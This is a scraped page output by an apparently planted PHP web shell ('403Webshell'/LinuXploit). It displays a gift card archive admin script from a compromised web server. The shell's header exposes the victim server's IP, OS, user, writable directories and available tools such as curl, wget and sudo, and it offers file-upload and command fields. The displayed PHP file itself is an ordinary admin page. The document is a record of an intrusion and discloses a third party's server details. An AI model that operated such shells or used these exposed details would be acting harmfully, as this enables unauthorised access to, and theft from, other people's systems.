403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcfs/tabs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcfs/tabs/gift_cards_archive.php
<?php
include 'protect.php';
include 'db.php';
include 'store_settings.php';
require_once __DIR__ . '/brand_header.php';
require_once __DIR__ . '/gift_card_helpers.php';

$message = '';
$error = '';
$giftCards = array();
$taxRate = getStoreTaxRate($conn);

function hGiftArchive($value)
{
    return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8');
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = isset($_POST['action']) ? trim((string) $_POST['action']) : '';

    try {
        if ($action === 'restore_gift_card') {
            restoreGiftCardAndLinkedDonation($conn, isset($_POST['gift_card_id']) ? (int) $_POST['gift_card_id'] : 0);
            $message = 'Gift card restored.';
        } elseif ($action === 'delete_gift_card_permanently') {
            deleteGiftCardAndLinkedDonation($conn, isset($_POST['gift_card_id']) ? (int) $_POST['gift_card_id'] : 0);
            $message = 'Gift card permanently deleted.';
        }
    } catch (Exception $e) {
        $error = $e->getMessage();
    }
}

try {
    $giftCards = fetchArchivedGiftCards($conn, $taxRate);
} catch (Exception $e) {
    $error = $e->getMessage();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Gift Card Archive</title>
    <style>
        body { font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif; margin:0; padding:30px; background:#f8fafc; color:#1f2937; }
        .container { max-width:1100px; margin:0 auto; background:#fff; padding:28px; border-radius:16px; box-shadow:0 12px 32px rgba(15,23,42,0.08); }
        .header-row { display:flex; justify-content:space-between; align-items:flex-end; gap:16px; flex-wrap:wrap; margin-bottom:18px; }
        .btn { display:inline-block; padding:10px 14px; background:#1d4ed8; color:#fff; text-decoration:none; border:none; border-radius:10px; font-weight:700; cursor:pointer; }
        .btn-secondary { background:#64748b; }
        .btn-danger { background:#b91c1c; }
        .msg { margin-bottom:16px; padding:12px 14px; border-radius:10px; }
        .msg.ok { background:#ecfdf5; border:1px solid #86efac; color:#166534; }
        .msg.err { background:#fef2f2; border:1px solid #fca5a5; color:#991b1b; }
        .muted { color:#64748b; font-size:0.92rem; }
        table { width:100%; border-collapse:collapse; }
        th, td { text-align:left; padding:10px 8px; border-bottom:1px solid #e5e7eb; vertical-align:top; }
        th { background:#eff6ff; white-space:nowrap; }
    </style>
    <?php echo appBrandStyles(); ?>
</head>
<body>
<div class="container">
    <?php renderAppBrandHeader(); ?>
    <div class="header-row">
        <div>
            <h1 style="margin:0;">Gift Card Archive</h1>
            <div class="muted" style="margin-top:4px;">Removed gift cards land here first. Restore them, or permanently delete them from this page.</div>
        </div>
        <a class="btn btn-secondary" href="gift_cards.php">&larr; Back to Gift Cards</a>
    </div>

    <?php if ($message !== ''): ?><div class="msg ok"><?php echo hGiftArchive($message); ?></div><?php endif; ?>
    <?php if ($error !== ''): ?><div class="msg err"><?php echo hGiftArchive($error); ?></div><?php endif; ?>

    <?php if (!$giftCards): ?>
        <div class="muted">No archived gift cards right now.</div>
    <?php else: ?>
        <table>
            <thead>
                <tr>
                    <th>Card</th>
                    <th>Archived</th>
                    <th>Expires</th>
                    <th>Start</th>
                    <th>Spent</th>
                    <th>Left</th>
                    <th>Action</th>
                </tr>
            </thead>
            <tbody>
            <?php foreach ($giftCards as $giftCard): ?>
                <tr>
                    <td>
                        <?php echo hGiftArchive($giftCard['card_label']); ?>
                        <?php if (!empty($giftCard['card_number'])): ?>
                            <div class="muted"><?php echo hGiftArchive($giftCard['card_number']); ?></div>
                        <?php endif; ?>
                        <?php if (!empty($giftCard['is_donation'])): ?>
                            <div class="muted" style="margin-top:4px;color:#166534;">Linked donation card</div>
                        <?php endif; ?>
                    </td>
                    <td><?php echo hGiftArchive($giftCard['archived_at']); ?></td>
                    <td><?php echo hGiftArchive($giftCard['expiration_date']); ?></td>
                    <td>$<?php echo hGiftArchive(number_format((float) $giftCard['initial_amount'], 2)); ?></td>
                    <td>$<?php echo hGiftArchive(number_format((float) $giftCard['spent_total'], 2)); ?></td>
                    <td>$<?php echo hGiftArchive(number_format((float) $giftCard['remaining_balance'], 2)); ?></td>
                    <td>
                        <form method="post" style="margin:0 0 8px;">
                            <input type="hidden" name="action" value="restore_gift_card">
                            <input type="hidden" name="gift_card_id" value="<?php echo hGiftArchive($giftCard['id']); ?>">
                            <button class="btn btn-secondary" type="submit">Restore</button>
                        </form>
                        <form method="post" onsubmit="return confirm('Permanently delete this gift card? If it is linked to a donation, that donation will be permanently deleted too.');" style="margin:0;">
                            <input type="hidden" name="action" value="delete_gift_card_permanently">
                            <input type="hidden" name="gift_card_id" value="<?php echo hGiftArchive($giftCard['id']); ?>">
                            <button class="btn btn-danger" type="submit">Delete Permanently</button>
                        </form>
                    </td>
                </tr>
            <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit